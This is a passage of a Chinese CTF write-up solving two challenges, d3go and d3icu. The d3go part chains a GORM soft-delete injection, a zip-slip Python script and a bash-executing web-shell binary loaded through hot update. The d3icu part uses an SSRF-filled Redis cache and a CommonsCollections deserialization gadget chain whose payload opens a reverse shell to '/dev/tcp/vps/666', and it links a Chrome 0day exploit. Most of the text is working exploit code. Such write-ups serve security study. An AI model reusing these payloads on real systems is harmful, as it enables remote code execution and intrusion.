path.Ext(f.Filename) != ".zip" { c.JSON(500 , Resp{ StatusCode: -1 , StatusMsg: "not a zip file" , }) return } uu := uuid.New() zipPath := path.Join("upload" , uu.String()+".zip" ) if err := c.SaveUploadedFile(f, zipPath); err != nil { c.JSON(500 , Resp{ StatusCode: -1 , StatusMsg: "save zip fail" , }) return } tree, err := upload.Unzip(zipPath, path.Join("unzipped" , uu.String())) if err != nil { c.JSON(500 , Resp{ StatusCode: -1 , StatusMsg: "upload fail" , }) return } c.JSON(200 , Resp{ StatusCode: 0 , StatusMsg: "upload success" , Data: tree.Children, }) }
db.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 package dbimport ( "d3go/config" "d3go/model" "encoding/hex" "errors" log "github.com/sirupsen/logrus" "math/rand" "time" "gorm.io/driver/mysql" "gorm.io/gorm" ) var ErrDatabase = errors.New("database error" )var db *gorm.DBfunc Init () { if err := tryOpen(); err != nil { log.Fatalln(err) } err := db.AutoMigrate(&model.User{}) if err != nil { log.Fatalln(err) } rand.Seed(time.Now().UnixMicro()) var rad [32 ]byte rand.Read(rad[:]) if ok, _ := IsFirstRegistered(); ok { db.Save(&model.User{ Username: "admin" , Password: hex.EncodeToString(rad[:]), }) } } func tryOpen () error { var err error var database *gorm.DB for i := 0 ; i < 100 ; i++ { database, err = gorm.Open(mysql.Open(config.Conf.DBUser+":" +config.Conf.DBPasswd+"@tcp(" +config.Conf.DBHost+":" +config.Conf.DBPort+")/db?parseTime=True" ), &gorm.Config{}) if err != nil { time.Sleep(time.Second * 3 ) continue } db = database return nil } return err } func IsAdmin (u *model.User) bool { var admin model.User if err := db.First(&admin).Error; err != nil { log.Error(err) } return u.Username == admin.Username } func AddUser (u *model.User) error { if err := db.Save(u).Error; err != nil { log.WithField("user" , u).Error(err) return ErrDatabase } return nil } func CheckAuth (u *model.User) (bool , error ) { if err := db.Where("username = ? AND password = ?" , u.Username, u.Password).First(&u).Error; err != nil { if errors.Is(err, gorm.ErrRecordNotFound) { return false , nil } log.WithField("user" , u).Error(err) return false , ErrDatabase } return true , nil } func IsFirstRegistered () (bool , error ) { if err := db.First(&model.User{}).Error; err != nil { if errors.Is(err, gorm.ErrRecordNotFound) { return true , nil } log.WithField("user" , model.User{}).Error(err) return false , ErrDatabase } return false , nil }
auth.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package authimport ( "d3go/config" "d3go/db" "d3go/model" ) const ( UnAuthed int = iota - 1 User Admin ) func Login (u *model.User) (int , error ) { ok, err := db.CheckAuth(u) if !ok || err != nil { return UnAuthed, err } if config.Conf.NoAdminLogin && u.ID == 1 { return UnAuthed, nil } if db.IsAdmin(u) { return Admin, nil } return User, nil } func Register (u *model.User) error { return db.AddUser(u) }
user.go
1 2 3 4 5 6 7 8 9 10 11 package modelimport ( "gorm.io/gorm" ) type User struct { gorm.Model Username string `gorm:"type:varchar(20);not null;unique" json:"username"` Password string `gorm:"type:varchar(100);not null" json:"password"` }
分析 在main.go
中没有对../
处理,导致了目录穿越
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 func ServeFile (c *gin.Context) { p := c.Param("filepath" ) if strings.HasPrefix(p, "/unzipped" ) { if len (p) == 9 { p = "/" } else { p = p[9 :] } c.FileFromFS(p, http.Dir("./unzipped" )) return } p = "/static/" + c.Param("filepath" ) c.FileFromFS(p, http.FS(Static)) return }
controller.go
中提到了model.User{}
结构体
1 2 3 4 5 6 7 8 9 10 func Login (c *gin.Context) { u := &model.User{} err := c.ShouldBindJSON(u) if err != nil { c.JSON(200 , Resp{ StatusCode: -1 , StatusMsg: ErrFormatError, }) return }
user.go
中声明一个struct
1 2 3 4 5 6 7 8 9 10 11 package modelimport ( "gorm.io/gorm" ) type User struct { gorm.Model Username string `gorm:"type:varchar(20);not null;unique" json:"username"` Password string `gorm:"type:varchar(100);not null" json:"password"` }
看到gorm.Model
中存在DeleteAt
字段,也就是说在我们删除某一数据时会自动把DeleteAt
字段的值设置为当前时间戳而非直接删除字段,可以进行软删除注入
由于只有admin
才可以进行文件上传,发现在db.go
中配置以第一个用户记录作为admin
1 2 3 4 5 6 7 func IsAdmin (u *model.User) bool { var admin model.User if err := db.First(&admin).Error; err != nil { log.Error(err) } return u.Username == admin.Username }
由于register
没有对传入的数据进行处理,直接通过err := c.ShouldBindJSON(&u)
把请求数据解析给了结构体u
,db.go中的AddUser
函数直接进行写入操作db.Save(u)
导致软删除注入
1 2 3 4 5 6 7 func AddUser (u *model.User) error { if err := db.Save(u).Error; err != nil { log.WithField("user" , u).Error(err) return ErrDatabase } return nil }
两个dat字段都要设置
1 { "id" : 1 , "deletedat" : "2011-01-01T11:11:11Z" , "createdat" : "2011-01-01T11:11:11Z" }
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /register HTTP/1.1 Host : localhost:8080User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0Accept : application/json, text/plain, */*Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflateContent-Type : application/jsonContent-Length : 37Origin : http://localhost:8080Connection : closeReferer : http://localhost:8080/{ "id" : 1 , "deletedat" : "2011-01-01T11:11:11Z" , "createdat" : "2011-01-01T11:11:11Z" }
之后正常注册一个test用户登录即为admin权限
审计config.go
和main.go
可以得知实现了热更新,可以实现覆盖config.yaml
实现自更新
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 func main () { config.Init() db.Init() if config.Conf.AutoUpdate { log.Printf("Auto update enabled" ) err := overseer.RunErr(overseer.Config{ Program: prog, Address: ":8080" , Fetcher: &config.Fetch, }) if err != nil { log.Fatalln(err) } } else { r := gin.Default() InitRouter(r) if err := r.Run(":8080" ); err != nil { log.Fatal(err) } }
需要让url指向一个编译过后的go二进制文件进行监测实现热更新
发现有一个d3go的二进制文件,可以利用这个进行热更新
d3go恶意文件,编译为二进制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package mainimport ( "github.com/gin-gonic/gin" "github.com/jpillora/overseer" "log" "os/exec" ) func main () { overseer.Run(overseer.Config{ Program: prog, Address: ":8080" , }) } func prog (state overseer.State) { r := gin.Default() r.POST("/shell" , func (c *gin.Context) { output, err := exec.Command("/bin/bash" , "-c" , c.PostForm("cmd" )).CombinedOutput() if err != nil { c.String(500 , err.Error()) } c.String(200 , string (output)) }) if err := r.RunListener(state.Listener); err != nil { log.Fatal(err) } }
覆盖config.yaml
配置热更新
1 2 3 4 5 6 7 8 9 10 11 server: noAdminLogin: true database: user: root password: root host: 127.0 .0 .1 port: 3306 update: enabled: true url: http://127.0.0.1:8080/unzipped/shell interval: 1
之后利用controller.go
中zipslip
漏洞去覆盖文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 func Upload (c *gin.Context) { f, err := c.FormFile("file" ) if err != nil { c.JSON(500 , Resp{ StatusCode: -1 , StatusMsg: "upload fail" , }) return } if (f.Header.Get("Content-Type" ) != "application/zip" && f.Header.Get("Content-Type" ) != "application/x-zip-compressed" ) || path.Ext(f.Filename) != ".zip" { c.JSON(500 , Resp{ StatusCode: -1 , StatusMsg: "not a zip file" , }) return } uu := uuid.New() zipPath := path.Join("upload" , uu.String()+".zip" ) if err := c.SaveUploadedFile(f, zipPath); err != nil { c.JSON(500 , Resp{ StatusCode: -1 , StatusMsg: "save zip fail" , }) return } tree, err := upload.Unzip(zipPath, path.Join("unzipped" , uu.String())) if err != nil { c.JSON(500 , Resp{ StatusCode: -1 , StatusMsg: "upload fail" , }) return } c.JSON(200 , Resp{ StatusCode: 0 , StatusMsg: "upload success" , Data: tree.Children, }) }
使用脚本生成zip
1 2 3 4 5 6 7 8 9 10 11 import zipfileif __name__ == "__main__" : try : zipFile = zipfile.ZipFile("exp.zip" , "a" , zipfile.ZIP_DEFLATED) info = zipfile.ZipInfo("exp.zip" ) zipFile.write("D:\\Floes\\ctf\\ceshi\\shell\\config.yaml" , "../../config.yaml" , zipfile.ZIP_DEFLATED) zipFile.write("./shell" , "../shell" , zipfile.ZIP_DEFLATED) zipFile.close() except IOError as e: raise e
上传到服务器访问shell路径
1 2 3 4 http://139.196.153.122:31824/shell post: cmd=env
d3icu 源码审计 bot.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 const puppeteer = require ("puppeteer" )const express = require ("express" )const app = express ()app.get ("/screenshot" , (req, res ) => { (async function ( ) { try { const browser = await puppeteer.launch ({ headless : true , timeout : 60000 , args : ['--no-sandbox' ] }) const page = await browser.newPage () await page.setViewport ({ width : 1920 , height : 1080 }) await page.goto ('http://127.0.0.1/demo/inedx.jsp' , { waitUntil : 'networkidle0' }) const buffer = await page.screenshot ({ encoding : "binary" , type : "png" }) res.set ("Content-Type" , "image/png" ) res.send (buffer) } catch (err) { res.status (500 ).send (err.toString ()) } })() }) app.listen (8090 )
main.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 package mainimport ( "fmt" "hash/crc32" "io" "io/fs" "net/http" "os" "time" "github.com/flamego/flamego" "github.com/go-redis/redis/v8" "org.d3ctf.app/static" ) func crc32Hash (str string ) string { return fmt.Sprint(crc32.ChecksumIEEE([]byte (str))) } func main () { f := flamego.Classic() f.Map( Cache{ client: redis.NewClient(&redis.Options{ Addr: os.ExpandEnv("127.0.0.1:6379" ), }), }, ) staticFS, _ := fs.Sub(static.FS, "dist" ) f.Use(flamego.Static(flamego.StaticOptions{ FileSystem: http.FS(staticFS), })) f.Get("/fetch" , func (ctx flamego.Context, cache Cache, r *http.Request, rw http.ResponseWriter) { url := ctx.Query("url" ) cacheKey := crc32Hash(url) fmt.Println(cacheKey) if buf, err := cache.Get(r.Context(), cacheKey); err == nil { ctx.ResponseWriter().Write(buf) return } resp, _ := http.Get(url) buf, _ := io.ReadAll(resp.Body) cache.Set(r.Context(), cacheKey, buf, time.Minute*10 ) rw.Write(buf) }) f.Run() }
cache.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package mainimport ( "context" "github.com/go-redis/redis/v8" "time" ) type Cache struct { client *redis.Client } func (c Cache) Set(ctx context.Context, key string , value []byte , expire time.Duration) error { return c.client.Set(ctx, key, value, expire).Err() } func (c Cache) Get(ctx context.Context, key string ) ([]byte , error ) { return c.client.Get(ctx, key).Bytes() }
Tomcat服务中有个
tomcat-cluster-redis-session-manager
会从redis去除键名为JSESSION的值,然后反序列化它,对应tomcat.request.session.redis.SessionManager#findSession
方法
tomcat.request.session.redis.SessionManager
中的findSession
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public Session findSession (String sessionId) throws IOException { if (sessionId != null && this .sessionContext.get() != null && sessionId.equals(((SessionContext)this .sessionContext.get()).getId())) { return ((SessionContext)this .sessionContext.get()).getSession(); } else { Session session = null ; boolean isPersisted = false ; SessionMetadata metadata = null ; byte [] data = this .dataCache.get(sessionId); if (data == null ) { sessionId = null ; isPersisted = false ; } else { if (Arrays.equals(SessionConstants.NULL_SESSION, data)) { throw new IOException ("NULL session data" ); } try { metadata = new SessionMetadata (); Session newSession = this .createEmptySession(); this .serializer.deserializeSessionData(data, newSession, metadata); newSession.setId(sessionId); newSession.access(); newSession.setNew(false ); newSession.setValid(true ); newSession.resetDirtyTracking(); newSession.setMaxInactiveInterval(this .getSessionTimeout(newSession)); session = newSession; isPersisted = true ; } catch (Exception var7) { LOGGER.error("Error occurred while de-serializing the session object.." , var7); } } this .setValues(sessionId, session, isPersisted, metadata); return session; } }
deserializeSessionData
跟进
在环境中给了cc依赖,可以在redis缓存中投入恶意字节码进行反序列化
解题分析 先让go去缓存一下我们的恶意文件,获取反序列化数据存入redis,我们本地起个环境获取CRC数据,然后把JSESSIONID改为CRC的值,那么我们在发包的时候就会进行反序列化触发RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package org.d3ctf.demo;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class poc { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class}, new String [] {"/bin/bash" ,"-c" ,"bash -i >& /dev/tcp/vps/666 0>&1" }) }; Transformer transformerChain = new ChainedTransformer (transformers); Map outerMap= LazyMap.decorate(new HashMap (), transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry (new HashMap (),"keykey" ); Map objMap = new HashMap (); objMap.put(tiedMapEntry,"valuevalue" ); Field field = tiedMapEntry.getClass().getDeclaredField("map" ); field.setAccessible(true ); field.set(tiedMapEntry,outerMap); ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(objMap); String res=encryptToBase64("ser.bin" ); System.out.println(res); } public static String encryptToBase64 (String filePath) { if (filePath == null ) { return null ; } try { byte [] b = Files.readAllBytes(Paths.get(filePath)); return Base64.getEncoder().encodeToString(b); } catch (IOException e) { e.printStackTrace(); } return null ; } }
把ser.bin放到vps上,然后访问会输出一段CRC
在index.jsp抓包,把JSEESIONID改为CRC
getshell可以发现当前目录是解压了war包的并且实现了热部署,那么我们可以修改index.jsp然后pwn浏览器https://github.com/77409/chrome-0day/blob/main/exploit.html